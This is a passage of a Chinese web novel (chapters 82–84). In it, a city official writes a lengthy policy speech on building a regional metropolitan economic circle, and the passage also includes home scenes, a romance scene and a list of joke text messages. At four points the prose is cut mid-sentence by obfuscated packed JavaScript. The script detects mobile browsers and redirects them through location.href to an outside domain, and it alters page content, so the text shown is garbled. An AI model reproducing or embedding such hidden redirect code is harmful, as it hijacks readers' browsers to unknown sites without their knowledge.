（六）优化投资环境，构建都市经济圈。投资环境的优劣，决定一个地区、一个城市对外开放的程度和经济社会发展的速度。我们要高度重视投资环境建设，以良好的投资环境，广泛吸引资金、技术和人才，不断扩大滨河的聚集、辐射和带动能力，努力构建起以滨河为中心的都市经济圈。一是要优化服务环境……二是要优化交通环境……三是要优化区域合作交流环境……四是要优化投资发展环境…… 滨河市党政考察团 赴西疆部分市州和我省河祁五市考察分团 2008年9月” 达恩豪下午下班回家，帮着老婆黄爱佳做晚饭，吃完饭还要帮着老婆黄爱佳洗锅涮碗。这段时间，达恩豪心情不错，老婆黄爱佳也心里高兴，能有一个好班上了，虽然是个临时的工作，责任也大，但体面，轻松。 前两年刚从兰原下来，进省城金州，老婆黄爱佳到市上来了。刚来金州城，老婆黄爱佳想上班，找个活儿干，达恩豪也不反对，老婆黄爱佳就到家属院斜对面的超市二楼去上班，工资不高，每月就两千多元，还把人绑得死死的，上午班，早上九点到下午六点，下午班，中午十二点到晚上九点，两班倒。 标准的“四零五零”人员，就业难，工资低。干了两年不到，达恩豪按时吃不上饭，经常达恩豪自己做饭吃，达恩豪坚决反对老婆黄爱佳上这个班，就划不来，老婆黄爱佳就不去了，待在家里给他专门做饭。 达恩豪跟金州市第二党政代表团出差回来，市交通局副局长兼城运处处长屠宁辉，兑现了诺言，安排手下一个姓黄的科长，黄爱佳自已找上门去，城运处给他安排了一个临时的活儿，帮助改造装天然气的出租车收费，开票。黄爱佳干得很认真，很负责，年终还得了个“先进工作者”的奖励红本本证书。 达恩豪陪老婆黄爱佳坐沙发上看电视，看了新闻联播，又看电视连续剧，看完电视剧关机上床休息，感觉和体验了一把真正的“双职工”的生活，其实也是临时的，但心情比较畅快，一会就进入了梦乡…… 这小伙儿和这美女晚上又在“副经理室”里幽会，在明晃晃的灯光下，在封闭的办公室里，两个青年男女，卿卿我我，缠缠绵绵的。 “佳，我爱你！”这小伙儿坐在那儿，双手攥着这美女的一双小手玉掌，像竹笋一样圆而细长的手指，光滑而细腻的洁白手指，眼眸中虽然是脉脉深情，但却有些脸红耳烧，激动地对这美女这样说道。 “小达，我也是！”这美女坐在那儿，双手也紧紧地攥着一双年轻男人的大手，胖墩墩的大手，圆而粗的短手指，棉软而温热的手掌，长眉细眼对视着这小伙儿，眼光里虽然是柔情似水，但却脸颊飞红，耳朵发烫，兴奋地对这小伙儿这样回应道。 这一对青年异性如胶似膝，拥抱在了一起，难舍难分，双手又甜蜜地抚摩着对方身背，指腹轻轻划过的地方，幸福在脑海里荡漾，甜蜜在脑海里洋溢，幸福在这双年轻男女的心头翻滚，甜蜜在心间潮起潮落，潮落潮起，汹涌澎湃，澎湃汹涌！ 两张青春的异性的嘴唇，不知不觉见就粘在了一起，甜蜜在唇齿间徉徊，幸福在唇齿间彷徨，甜蜜在脑海里风起云涌，幸福在脑海中雷呜电闪，甜蜜在心田里奔腾激荡，幸福在心中川流不息！ “不要心急吗，结婚了你再那个好吧！”当这小伙儿不死心，旧病复发，又试探着想把手伸进这美女的衣领里时，“啪！”一下就被这美女温柔理性地给逮住，像毒蛇一样的手臂，拉回到正常地轨渠道上来了，同时，被这美女轻声有力地这样婉言谢绝道。 “哐哐哐！”…… “达处长，柯主任在市级领导干部“继续解放思想努力推动科学发展”专题学习班上有个发言材料，辛苦你给写一下，主要是结合这次西疆河祁八城市考察情况，三四天后就用，越快越好。”第二天在市人大临时上班，临时办公室走进来一个人，站在那儿，对达恩豪这样安排布置工作道。这人是个小个子，脸黑戴近视眼镜，不是别人，正是市人大副秘书长，和达恩豪一起到西疆省和本省河祁八城市考察的贺飞仁。 “好的，贺秘书长。”达恩豪是有名的材料“快枪手”，写什么材料都特别的快，反映快，思路快，出手快，成稿快，文稿质量也不差，号称是滨河市政府研究室“第一笔”，乃至滨河市政府有名的“笔杆子”，写什么材料都是手到擒来，小菜一碟。这时，成竹在胸，爽快地这样回答贺飞仁道。 “达处长，我看了，很好。我忙去吧！”达恩豪爬电脑上，聚精会神，认真思考，敲敲打打，加班加点，花了一天时间，一篇像样的发言材料就写出来了，拿去楼道东面拐角的贺飞仁办公室里，递给领导看了，面前坐着的人对他这样肯定和赞赏道。 这材料达恩豪一共写了29页，大约1.5万余字。他记得，具体内容大体是这样的： “赴西疆和我省河祁地区学习考察的思考 为进一步解放思想、推动科学发展、实现滨河经济社会又好又快发展，按照市委的决定，由市人大常牵头，我为团长，市委常委、组织部常务副部长常吉乾同志，市政府副市长陶才生同志任副团长，市发改委、建管委、交通局、规划局、商务局、招商局、市政府研究室等部门和单位的负责同志为成员，组成滨河市党政考察团第二分团，于2008年8月30日至9月10日，赴西疆省亚心市、剑犁市和庭池州及我省河祁地区的东风市、雄关市、大佛市、镍城市、雷台市，就做大做强城市经济、加快经济一体化进程，搞好城市规划、建设、管理和经营，营造良好的投资发展环境等问题，进行了为期12天的学习考察活动，受到了所到市州党委、政府和人大的热烈欢迎和全力支持。期间，考察团一行参加了“西洽会”，与当地党委、政府召开座谈会，双方对口部门充分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699594|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交流，实地参观考察产业园区建设、特色产业发展、城市建设管理以及农业产业化和新农村建设等情况。先后考察了亚心“大把扎”国际商贸区、剑犁天业集团、剑总厂农业科技园区、庭池特变电工、东风工业园、风光电装备制造园、……家世界、……绿色示范园、……番茄加工、……清真肉食加工、镍城新材料园区、镍化集团、……花园、城市中水蓄水池工程等企业和重大项目。这次赴西疆和河祁地区学习考察活动，虽然时间短，但准备充分，组织严密，活动紧凑，达到了学习先进经验、宣传推介滨河、寻求经济合作、增进友好往来的预期目的。大家认为，这次学习考察，感触颇多，深受启发，开阔了视野，振奋了精神，特别是8城市敢为人先创新发展思路、与时俱进创业实干，经济发展势头强劲、城市建设快速发展、开发区建设生机盎然，给考察团留下了深刻的印象，极大地增强了我们加快滨河科学发展的紧迫感、使命感和责任感，对于我们进一步解放思想、深化改革、扩大开放、加快城市建设、改善发展环境、科学发展、实干创业具有十分重要的意义。 一、八城市加快发展的重要启示 滨河与亚心等8城市同处我国大西北，无论在自然地理环境，还是在发展基础、发展阶段、发展水平上都有许多相同或相近之处。但他们在改革发展中创造了很多新鲜经验，使我们在心灵上受到了一次洗礼，给我们很多重要启示。 （一）继续解放思想是推进科学发展的重要动力…… （二）深化市情认识是确定城市发展目标定位的重要指南…… （三）转变发展方式是提升城市综合实力的根本途径…… （四）拓展发展空间是提升城市品位的必然选择…… （五）完善机制体制是提升市场化水平的动力之源…… （六）优化投资环境是加快滨河发展的重要保障…… 三、关于加快滨河发展的建议 城市经济圈建设是中心城市和区域经济社会发展和演进到一定阶段的必然产物。城市经济圈是城市化和区域经济发展到一定阶段的城市空间和经济组织形态，是在全国或一个大区域的专业化分工中承担一部分职能、经济结构较为完整的社会经济综合体；是指一个大的核心城市，以及与核心城市具有经济社会一体化倾向的邻接城镇与地区组成的圈层式地域。大都市经济圈是以一个发达的中心城市为核心，以便捷的交通网络为依托，吸引辐射邻近城市与区域，促进城市之间有机联系与分工协作，并且具有经济社会一体化发展倾向，可以实施有效规划和管理的圈层式城镇空间协调发展区域。城市经济圈的基本特征是高聚集、高能级、开放型。城市经济圈不仅人口、自然资源等基本生产要素密集。更是现代工业、现代服务业、现代通讯业等现代通信业集中地，经济总量巨大，单位面积产出量高，具有较强区域竞争力的国家经济的重心区和增长极。 82. 第 82 章 第八十二章调研支招 （一）建设滨河城市经济圈的重要性 滨河处在工业化的进程中的以内聚为主和向外扩散的发展阶段，充分发挥黄河上游最大的中心城市的作用，深入贯彻落实科学发展观，注重统筹城乡发展、统筹区域发展，培育构建滨河都市经济圈，是滨河与邻近关联区域实现经济社会又好又快发展的客观要求。 一是构建滨河都市经济圈是落实科学发展观和省委省政府战略决策的现实要求…… 二是建设滨河都市经济圈是破解发展瓶颈制约的最佳途径…… 三是构建滨河都市经济圈正是增强西部自我发展能力的有效举措…… 四是积极参与国际、区际经济竞争的迫切需要…… 五是加速区域城市化和区域经济一体化发展的迫切要求…… 六是实现区域社会经济的持续协调发展的共同愿望…… 七是城市经济圈的发展有利于适当提高消费率、实现投资与消费协调、促进国民经济良性循环…… （二）建设滨河城市经济圈的可行性 未来区域将成为我国产业技术的主要支撑，成为整合各种资源促进发展的主战场。而中心城市在区域经济中的主导作用日益增强，中心城市和城市群将成为我国知识和技术创新中心、先进制造中心，成为带动区域发展的火车头。 1、滨河优越的自然背景是城市经济圈形成的自然基础和必要条件。自然条件、区位条件、资源禀赋和生态环境等优越，有适宜的地形地貌条件和气候条件，人口环境承载力大，发展历史悠久，人口密度大，也适宜较大规模的经济活动。地区区位优势明显，区域参与国际劳动分工和接受资金、技术、信息等生产要素辐射比较方便。矿产资源、水资源、农业资源等自然资源丰富，是区域经济持续发展的基础条件和支撑，有利于区域分工和保障区域经济的持续发展。 2、文化趋同有利于形成文化优势。由于城市经济圈由地理位置比较接近的若干城市组成，有着相似的文化底蕴，因而在观念、文化、风俗等方面具有高度的一致性。正是这种一致性，有利于降低圈内各城市之间的交易成本，促成统一认识和行动，建立统一开放的区域大市场。文化的发展水平能够体现区域城市圈经济的发展水平，城市圈经济的发展与文化发展密不可分。相同或相似的文化传统、文化背景和文化习俗一脉相承，世代相传，往往铸就极其类似的文化品质、人文景观和城市精神，在这种文化的熏陶下培育出的“地缘经济”，一旦形成特色，组团发展，就将产生出较大的规模经济效益和抗风险能力文化上的优势，最终将转化为经济社会发展的优势。 3、滨河建设城市经济圈的经济动力充足。区域专业化分工的不断细化大大提高了劳动生产率，可以利用地域优势降低生产成本提高经济效益，同时专业化越深，经济活动的联系就越强，使得区域联系不断增强，区域经济发展以城市经济为主体呈现紧密联系的网络化状态。城镇化带来城镇的空间聚集经济效益，促进培育完善、高效的市场，营造良好的经济运行环境，形成城市经济圈制度保障。城市圈可以使资源在更大范围内实现优化配置。城市圈的整体发展使单个城市的发展更加完善。城市圈的内聚力表现为城市圈所具有的吸纳大量人力、物力和财力的能力。城市圈的发展演化中，凝结了广大地区范围内的文化、科技、教育力量，强化了城市群的内聚力。 4、政府推动是建设滨河城市经济圈的强大动力。城市经济圈主要是由市场机制的作用形成的，但在关系区域发展的长远性、战略性问题上，如区域基础设施建设、区域产业发展规划、环境保护等，市场机制无能为力，必须由政府来解决。政府还在区域共同市场、区域投资软环境等区域经济发展软环境上发挥作用。城市经济圈的城市政府之间存在竞争与冲突，需要政府间的对话与协商解决或上高一级政府来解决。许多区域经济问题需要政府在宏观方面和市场在微观方面共同发挥作用，这样又往往产生政府力量和市场力量冲突或不一致，市场力量的作用偏离政府的预期目标。政府与非政府组织结合，行政手段与市场手段相结合的方式解决大都市问题，打破行政壁垒和恶性竞争的，建立共同市场，协调发展目标而采取的新的创新管理模式。政府和非政府组织在环境保护问题、社会公平问题、资源保护与合理利用问题等问题上起主要作用。而且城市经济圈人口、产业集聚程度强，有利于土地的集约利用，适合于我国人多地少的国情；也有利于集中搞好生态环境建设，实现环境消费的规模经济，减少环境资源的人均消费量，又可以通过巨大的盈利空间来促进环保业发展。在全国范围内建立多个以中心城市为核心的城市经济圈，可以加强区域经济的分工与合作，缩小区域经济差异，尤其是在经济欠发达地域建立城市经济圈可以实现区域的自我发展，有利于区域经济协调发展推动区域经济由非均衡增长向协调均衡发展转变。在区域性的基础设施建设、国土资源开发、生态环境保护、城镇体系建设等重大问题上，市场是失灵的，必须由政府和非政府组织进行长远性、战略性的规划。而且，规划主要是有政府间的协调实现的，通过政府间的协调可以消除不同行政区的政策和制度之间的矛盾，打破行政壁垒，降低市场交易成本、行政成本、制度成本，统一区域市场实现生产要素和商品、人员的自由流动，有利于市场机制发挥作用。城市经济圈促使政府转换职能，提高服务水平。不同的制度安排和产权安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710889|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对经济发展绩效的影响有着显著的差别。城市经济圈的形成，促进了区域经济体内制度的变革。与城市圈成长相应，区域内要素流动更加顺畅，企业迁徙更加容易。于是，企业、人才、资金在利益的驱动下，流向圈内更加理想的乐土。随着圈内城市管理者之间磋商协调的增加，示范效应将发挥效果。那些先进的政府管理制度、服务方式迅速为合作与竞争对手所模仿和借鉴。通过相互之间的学习，有助于提高整个城市圈内政府行政管理艺术，为区域经济发展提供良好的制度环境。市场和制度条件的改进让城市圈发生“核聚变”，城市圈整体实力非常可观，辐射出强大的能量引领着整个区域经济迅速壮大。 5、国家级重点建设地区划定为建设“滨河城市经济圈”带来机遇。西陇海———滨西新经济带是我国西北地区未来50年唯一的一级发展轴线。国家把西陇海———滨西线作为西部大开发“两带一区”重点建设地区之一。省委、省政府决定加快建设该轴线上的陇原段，构建滨河经济圈，将其建设成为一个高质量、高效益、高增长的经济区域，东西部交流的桥梁、纽带，发挥其在全省经济社会发展中的骨干带头作用，加快全省的经济发展。2007年1月，国府院批准的《西部大开发“十一五”规划》中提出：“鼓励……滨河—青西等区域依托交通干线，加快形成有特色的城市带。鼓励城市圈集聚发展。……在有条件的地方建设国际物流中心和设立保税区，着重发展贸易加工业。”近几年，省发改委、省建设厅分别编制了《滨河经济区“十一五”经济社会发展规划》、《滨河都市圈规划纲要》，分别提出了要把滨河建成黄河上游沿岸经济带与西陇海—滨西经济带交汇的枢纽型经济区的构想；提出了要把滨河建成经济发达、社会和谐、空间集约、生态优良、经济社会一体化的现代化都市圈的构想。我市在研究城市发展战略和编制“十一五”规划中，提出了把滨河建成西部区域性现代化中心城市的目标和培育构建滨河都市经济圈的构想，近几年，在国家和省上的大力支持下，我市在城市基础设施建设、生态环境保护、特色产业发展、企业出城入园、以改善民生为重点的社会事业发展、以及与周边兄弟州市之间经济社会融合、生产要素集聚、发挥辐射带动作用等方面取得了明显成效，与西部各省会城市之间的经济联系与合作交流更加密切。 6、滨河建设都市经济具有良好的基础条件。上个世纪五十年代，滨河在国家的宏观布局和政策支持下，加快了工业化和城市化的进程，经过50多年的建设，尤其是改革开放30年的发展，滨河形成了比较明显的经济区位、交通通讯、工业基础、市场集散、科技人才等五大优势，成为促进东西部交流的桥梁纽带和带动全省经济发展的核心增长极。 83. 第 83 章 第八十三章市场调研 7、以城市为中心，逐步向外发展，可适应区域经济发展不同层次的规划实践。城市在区域经济发展中起主导作用，城市对区域经济的促进作用与空间距离成反比，区域经济的发展应以城市为中心，以圈层状的空间分布为特点逐步向外发展（即城市经济圈的辐射效应）。城市经济圈可以分为三个层级，即内圈层、中间圈层、外圈层。各圈层有各自的特征：内圈层即中心城区，人口和建筑密度都较高，地价较贵，以第三产业为主；中间圈层即中心城区向乡村的过渡地带，居民点密度低，建筑密度小，以二产为主，并积权发展城效农业；外圈层即城市影响区，一产在经济中占绝对优势，是城市的水资源保护区、动力供应基地、假日休闲旅游之地。不同层次、不同结构和不同功能的大中小城市之间通过交通网络、商品网络、技术网络、资金网络、人才网络、旅游网络、文化网络、信息网络等紧密联系，形成相互分工、互补、交流和竞争的网络体系；通过机制创新、利益协调、政策联动和制度建设一体化，实现社会关系融洽、总体效益最佳的圈域经济、社会、文化和生态协调发展目标。因此，从某种意义上说，城市经济圈发展模式将成为城乡一体化、区域一体化的空间整合模式和组织形态。我国正在大力发展小城镇，提高城市化水平，这对我们合理规划和发展城市经济、合理规划小城镇的发展更具有现实意义。 8、中西部地区迅速崛起形成的……为培育和构建滨河都市圈提供了可借鉴的经验和做法。以滨河为核心的黄河—湟水谷地是我国西北地区除了关中盆地以外，建设城市群综合条件最为理想的地方。国际性城市圈能够克服单个国际性城市在资源、幅员等方面的不足，在更大的区域范围内调整资源配置，实现共同增长。事实证明，城市圈中的人流、物流、资金流和信息流的运行，通过‘发展极’的特殊功能可向周围地区扩散，而在这种传播与扩散中，所有的信息、物质流等都处在一个增值的循环之中。 （三）建设滨河城市经济圈的基本构想 培育和构建滨河都市经济圈的基本思路是：继续推进西部大开发，以全面建设小康社会为目标，深入落实科学发展观，统筹城乡发展和统筹区域经济发展，实施“东扩西展，南升北拓”的城市空间布局战略，以城市基础设施和生态环境建设为切入点，以结构调整为主线，加快老工业基地改造和新兴产业发展，以“三大组团、五条经济带”为空间和产业布局，加快三县县城和重点小城镇建设，沟通周边城市。依托现有高速路网，按一小时高速公路行程，培育和构建以滨河为中心、包括……在内的“四方六边”产业互补、功能连接、优势产业特色鲜明，区域集聚辐射带动能力和核心竞争力强的滨河都市经济圈。 经济圈将按功能分别建成滨河综合性都市经济区…… 继续实施“东扩西展，南升北拓”的城市空间布局战略，按照“三大组团，五条经济带”的产业布局，拓展城市与产业发展空间，构建以滨河中心城区为核心——卫星城市为纽带——区域中心镇为扩散点的城镇体系和大中小呼应的城市体系。依托现有工业基础，发展石油化工、有色冶金、机械装备制造、高新技术、农副产品加工产业群和农产品加工贸易，逐步培育形成以滨河为中心的都市经济圈。 “三大组团，五条经济带”就是以自然形态的滨河河谷川盆地、槐间盆地、北大川盆地三大组团市域空间及沿由滨河向周边辐射的五条高速公路展开的延绵经济带。沿黄河……西向经济带。这条轴线包括……工业，重点发展水电、火电、煤化工、有色冶金新材料、新型建材等产业。在滨河——……两大城市之间形成强有力的经济支撑点。沿滨河至……高速公路东向经济带。依托……发展钢铁和有色冶金新材料、生物制品、农产品加工贸易、储运配送等产业。建设精细蔬菜、肉蛋禽奶生产基地和大宗蔬菜物流中心，发展城郊生态旅游产业。沿滨河——……高速公路北向经济带。以……建设为重点，发展精细化工、特色食品、生物医药、机械制造、饲料加工、新型建材、农产品加工贸易业，积极接应滨河、……两大城市的产业转移。沿滨河——北大川——……西北向经济带。加快滨河空港循环经济产业园、北大川农业综合产业区建设。发展循环经济、生态林业、高效农业，建设绿色经济长廊。沿滨河——……高速公路南向经济带。发展反季节精细蔬菜、优质马铃薯、冷凉型花卉、特种水产养殖、畜牧养殖等生产经营，培育大型高原冷凉性花卉、蔬菜、水产、农畜产品生产加工基地。 与周边州市共建都市经济圈城市群。与“一小时”都市经济圈内兄弟州市共同联手依托日渐完善的交通网络，资源优势和特色产业，通过更紧密的交通通联系、市场交换和产业关联，加快区域内经济社会全方位融合与渗透，共同构建沿高速公路延绵经济带和城市群，优化城镇网络体系。共同更加紧密有效地进行产业垂直分工与产业水平分工合作，共同打造相互关联的产业发展格局和经济技术合作交流机制，实现优势互补，资源共享，促进区域内要素优化组合，自由流动。共同合作形成统一的农产品“绿色通道”，统一的旅游合作网，统一的物流合作网，统一的劳务输出合作网。共同联手结合各自资源、产业及市场状况，细分工、强协作，寻求多方合作的最佳结合点，在沿高速公路干线重点地区建设若干个工业区和农产品加工储运区，使兰州大市场资金流、技术流、人才流、信息流的辐射作用首先在这里体现，并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721039|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以此为基点扩散到整个区域，联手面向大市场参与竞争，实现互利共赢。 （四）建设滨河城市经济圈的对策建议 一是建立省级协调机构。成立省级滨河都市经济圈协调机构，统筹都市经济圈跨州市的区划调整、产业布局、土地利用、基础设施、生态环境、交通互联互通、资金融通、体制机制改革等重大事项。 二是对滨河对外大交通、管道运输及物流园等基础设施建设给予支持。加快北大川机场改扩建，……铁路、……铁路电气化改造、滨河铁路货物运输枢纽站、铁路枢纽集装箱节点站、西部成品油管道工程、滨河-……天然气管道工程建设，争取建设滨河--……客运专线。建设南山过境公路、青藏物流园。 三是对滨河近期重点开发区域基础建设给予支持。……新城区建设。尽快批准新城区规划，以便按计划实施，在基础设施建设、重大项目布局等方面给予倾斜。槐间盆地、北大川盆地规划建设。把槐间盆地和北大川盆地的建设纳入全省城镇体系建设规划，在土地储备、农用地转用计划、公共基础设施建设等方面给予重点安排。 四是资金支持。国家政策性银行贷款、国际金融机构和外国政府优惠贷款对滨河基础设施建设给予倾斜，扩大贷款规模，延长贷款期限。对西部大开发以来滨河市用于道路、桥梁、水利等纯公共产品建设的地方转贷资金（国债）予以豁免。支持滨河有条件的企业上市，发挥上市企业的融资功能。” 达恩豪在单位上班时间，正坐在电脑写一份材料，突然自己的手机“嘀嘀嘀”响了几声，一面裤兜里同时也震动了几下，是手机接受到短信的提示音。他赶紧掏出手机来，点亮解锁，果真是来了一条微信，打开一看，又是大腮帮子眼镜巴其平发来的，仔细一翻看，还是搞笑段子，具体内容如下： “1.在别人家上厕所的四大尴尬:拉完了没纸;拉完了檫完了没水;拉完了檫完了有水没冲下去;拉完了檫完了有水也冲下去了可是又飘上来了。 2.自我觉得智商蛮高的往下按，觉得自己还蛮幽默的往下按，觉得自己蛮有魅力的往下按。测试结果：蛮不要脸的！ 3.你的一笑，狼都上吊；你的一叹，猫跑鼠窜；你的一叫，鸡飞狗跳；你的一站，臭味弥漫；你一出汗，虱子遭难；你不打扮，比鬼难看；你不打扮，把鬼吓瘫。 4.开会三要点:一、直接对下级讲话要说‘我强调几点’;二、平级讲话后要发言说‘我补充几点’;三、上级领导讲你必须发言要说‘我的体会有几点’。 5.一新兵起床总落后挨骂,边买染料途身上,酷似米才装,半夜军号响,他首先重出营房,长官表扬:很好!但下次注意手榴弹要挂在后面。 84. 第 84 章 第八十四章首次带队 6.昨天我梦见你了，真的，天空那么明静，阳光那么明媚，大海那么一望无垠，你在蔚蓝海边，我拿棍一捅，嘿这小王八，壳还挺硬。 7.某日，路上行驶，见前面一车上贴：新手，老纯了！随后，我便在车后写到：杀手，老狠了！ 8.动物园里来了一只猩猩长的奇丑无比，游客见了没有不吐的，第一天我去看，我吐了，第二天你去看猩猩吐了，我就纳闷人与人之间的差距咋就这么大呢！ 9.忙碌生活很容易消磨人热情，对任何事都没有兴趣，所以偶尔也要停下脚步，以远见卓识的姿态，认真的想想是否应该去尿尿了。 10.两只青蛙相爱了，结婚后生了一个蛤嫫，公青蛙见状大怒说：贱人，怎么回事母青蛙哭着说：他爹，认识你之前我整过容。 11.小驴问老驴：为啥咱们天天吃干草，而奶牛顿顿精饲料？老驴叹到：咱爷们比不了，我们是靠跑腿吃饭，人家是靠胸脯吃饭！ 12.鸭子和螃蟹赛跑,一起到达终点，难分胜负，裁判说：你们来个剪刀石头布吧鸭子大怒：妈的，算计我?我一出是布，他总是剪刀。 13.老鳖调戏河蚌，被咬，老鳖忍痛拖着河蚌来回爬，青蛙见了敬佩的说：乖乖，鳖哥混大了，出入都加着公文包。 14.蜜蜂狂追蝴蝶，蝴蝶却嫁给了蜗牛。蜜蜂不解：他哪里比我好蝴蝶回答：人家好歹有自己的房子，哪像你住在集体宿舍。 15.如果时间可以倒转,我一定要和一起过童年,我们捉迷藏,偷地瓜，下河摸鱼，斗蚂蚱，然后我揍你，你哭了，我就会哄你高兴，和你玩，然后再揍你。 16.有两个造□□的不小心造出面值15元的□□，两人决定拿到偏远山区花掉，当他们拿一张15元买了1元的糖葫芦好，他们哭了，农民找了他们两张7块的。 17.吃饭了吗？请接收短信。大象把大便排在路中央，一只蚂蚁正好路过，它抬头望了望那云雾缭绕的顶峰，不禁唱到：呀啦索，这就是青藏高原！ 18.士兵问连长：作战时踩到地雷咋办？连长大为恼火：能咋办？踩坏了照价赔偿。 19.我说：‘你是猪。’你说：‘我是猪才怪！’从此我就叫你猪才怪。终于有一天，你忍不住当着众人的面对我吼道：‘我不是猪才怪！’。 20.鱼说：我从不闭眼睛是因为我要你可以随时看见你在我眼里！水说：我不断流动是要你随时感受到我在拥抱你！锅说：都快熟了还tm贫呢！ 21.有一只北极熊闲得无聊，就开始拔自己的毛。一根，两根……没多久就拔完了，拔完后它说了两个字……好冷! 22.黑猩猩不小心踩到了长臂猿拉的大便，长臂猿温柔细心地帮其擦洗干净后它们相爱了。别人问起他们是怎么走到一起的？黑猩猩感慨地说：猿粪！都是猿粪啊！ 23.尊敬的用户，由于你的绝大多数短信都是发给异性，给社会造成极坏的影响，我们已暂停你的短信功能，请您明天自带小板凳，到就近的派出所学习作风知识! 24.你的幸福，我来建筑；你的糊涂，我来弥补；你的贪图，我来满足；你的任性，我来让步；爱护你，非我莫属，谁让我是养猪专业户。 25.你已经知道B2轰炸机是高科技武器，也许你还不知道——你更高科技呢！因为，你是B2的弟弟——瘪三（B3）！ 26.必须坚持‘进门都是客，逮住宰一刀’的经营特色，以保证我店持续200%的高额利润。 27.八戒应聘，老总问你有职称吗？八戒骄傲地说：净坛使者！老总：净痰屎者？哦，那就去清扫厕所吧！ 28.因为你，我相信命运；因为你，我相信缘份；也许这一切都是上天注定，冥冥之中牵引着我俩。好想说......我上辈子是做了什么孽呀！ 29.广阔的天空任你高飞，美丽的故事由你发挥，善良的小孩应该去追，幽默的短消息发给小乌龟！！！ 30.转帐通知：我们已经将20万元按要求转入你的账户，请在2秒钟内确认，否则转账作废。 31.将这封短信转发3次，你会走财运；转发6次，你会走官运；转发10次，你会走桃花运；转发20次，你将花掉2元钱！ 32.悟空拿着磁铁在地上吸来吸去，沙僧问：大师兄，你找什么呢？悟空：嘿！俺把金箍棒掉地上了，还没来得及变长哪！ 33.唐僧：我想喝酒，谁去问酒吧怎么走？八戒随口说：师父您老土啦！现在都用WindowsXP了，谁还用WIN98？ 34.好久没有收到你的短信了，不知你现在还好吗？前几天路过你那里进去看了一下，见你睡着了，不忍心叫醒你。哎，一窝小猪崽就你乖！ 35.一懒猫疯狂地追求一老鼠终于结婚，婚后猫对老鼠百般苛护，老鼠很快变胖，老鼠很感动：亲爱的为什么对我这么好呀！猫嘿嘿笑道：等你再胖一点就知道了。 36.小样！喝着郎酒迈犬步，唱山歌走水路；梳着失恋的头型，迈着多情的脚步；长了一双破烂的眼睛，还到处寻找爱情的雨露，你真酷！ 37.一大学生被敌人抓了，敌人把他绑在了电线杆上，然后问他：说，你是哪里的？不说就电死你！大学生回了敌人一句话，结果被电死了，他说：我是电大的！ 38.某老太生前爱打麻将，死后儿女提议送麻将陪葬，一女却担忧：万一人手不够她来叫我们怎么办？ 39.两个饺子结婚了，送走客人后新郎回到卧室，竟发现床上躺着一个肉丸子！新郎大惊，忙问新娘在哪？肉丸子害羞的说：讨厌，人家脱了衣服你就不认识啦！ 40.四只老鼠吹牛：甲：我每天都拿鼠药当糖吃；乙：我一天不踩老鼠夹脚发痒；丙：我每天不过几次大街不踏实；丁：时间不早了，回家抱猫去咯。 41.你走在路上，一母狗扑向你从你的脚上咬了一块肉，迅速吞下去，你伸脚正要踢它的时候，狗含着泪说：你打吧，反正我肚里已经有了你的骨肉！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739793|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 42.喜鹊来，妈妈说这是喜鸟是客；燕子来，妈妈说这是益鸟是客；乌鸦来，孩子问你也是客人吗？乌鸦叫：yes，吾乃黑客！ 43.“为什么你要夹一支温度计在耳朵上?”实习医生问老医生.老医生:‘完了!我一定把钢笔插在病人的□□里了!’ 44.有一个山里人，没见过世面，一天到城市的公园里看见一个人在做俯卧撑，不知道干什么的，围着转了好几圈都不明白：为什么底下没人，光使劲？ 45.一只大象问骆驼:‘你的咪咪怎么长在背上？’骆驼说:‘死远点，我不和鸡鸡长在脸上的东西讲话！ 46.一女奇丑，嫁不出去，希望被拐卖。终于梦想成真，却半月卖不出去。绑匪将其送回，她坚决不下车，绑匪咬牙一跺脚：走，车不要了。 47.你这个没良心的，老实交待，昨天半夜在你房里接电话的那个女人是谁？她居然跟我说……您拨叫的号码正忙，请稍候再拨。 48.有个腼腆的男孩终于鼓足勇气问心爱的女孩：你喜欢什么样的男孩子？女孩说：投缘的。男孩再问还是一样，他只好伤心地说：头扁一点的不行吗？ 